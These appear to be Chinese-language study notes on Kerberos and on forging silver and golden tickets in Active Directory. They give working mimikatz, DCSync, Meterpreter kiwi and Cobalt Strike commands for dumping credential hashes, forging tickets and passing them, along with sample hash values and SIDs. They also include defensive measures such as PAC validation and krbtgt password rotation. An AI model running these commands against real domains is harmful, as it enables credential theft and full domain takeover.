Kerberos基础入门

- TGT（Ticket Granting Ticket）票据授权票据
- ST（Service Ticket）服务票据AD(Account Database)：存储所有Client的白名单，只有存在于白名单的Client才能顺利申请到TGT。

- TGT：黄金票据

- Service Ticket：白银票据

- `AS = Client-NTLM Hash(Session Key)`
- `TGT = Krbtgt-NTLM Hash(Sessin Key, Client-Info)` 
- `krbtgt`：每个域控制器都有一个`krbtgt`的用户账户，是KDC的服务账户

- `TGT + Session Key(Client-Info, Timestamp) => KDC`

- `Client <= Ticket + Session Key(Server Session Key)`
- `Ticket = Server Hash(Server Session Key, Client-Info, End-Time)`
- `Session Key(Server Session Key)`
- `Server Hash`：这个Hash是服务器计算机的`NTLM Hash`

- `Ticket = Server Hash(Server Session Key, Client-Info, End-Time)`
- `Server Session Hash`在未发送`Ticket`之前，服务器是不知道`Server Session Key`是什么的。 所以一切凭据都来源于`Server Hash`伪造：白银票据需要目标服务器的Hash，因此不能生成对应域内所有服务器的票据，也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造

# 导出Server Hash
$ mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

# 伪造票据
$ mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

$ kerberos::list  # 列出票据
$ kerberos::purge # 清除票据

- 尽量保证服务器凭证不被窃取
- 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能。PAC主要是规定服务器将票据发送给Kerberos服务，由Kerberos服务来验证票据是否有效

    - 开启方式：将注册表中`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters`中的`ValidateKdcPacSignature`设为`1`

- 需要与KDC通信
- 域SID
- 需要`krbtgt`用户的`NTLM Hash`，即`KDC Hash`

# krbtgt NTLM Hash
82dfc71b72a11ef37d663047bc2088fb

beacon> logonpasswords
# S-1-5-21-2756371121-2868759905-3853650604-500

# MSF Kiwi
meterpreter> load kiwi
meterpreter> kerberos_ticket_list
# 伪造
meterpreter> golden_ticker_create -d <域名> -k <krbtgt_NTLM_Hash> -s <域SID> -u <任意用户名> -t <输出路径>
# 使用
meterpreter> kerberos_ticket_use <Ticket文件路径>

# Mimikatz
$ mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt_NTLM_Hash> /user:<任意用户名> /ptt" exit

- 经常更新`krbtgt`密码，使原有的票据失效
- 最根本的办法是不允许域管帐户登录其它服务器

# 获取krbtgt的hash值。
lsadump::dcsync /user:krbtgt

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

# 清空票据缓存
kerberos::purge

# 列出票据,显示为空
kerberos::list

# 加载生成的票据
kerberos::ptt administrator.kiribi

# 再次访问域控